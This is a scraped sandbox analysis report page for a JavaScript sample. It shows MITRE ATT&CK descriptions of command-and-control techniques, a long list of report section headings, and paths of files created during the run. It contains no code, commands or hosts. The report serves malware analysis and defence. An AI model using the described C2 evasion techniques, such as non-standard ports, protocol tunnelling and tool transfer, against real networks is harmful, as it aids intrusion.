Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 25917225161220417691.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7af59814-b4b4-48fe-9d49-1054d6fa723b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5968

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
25917225161220417691.js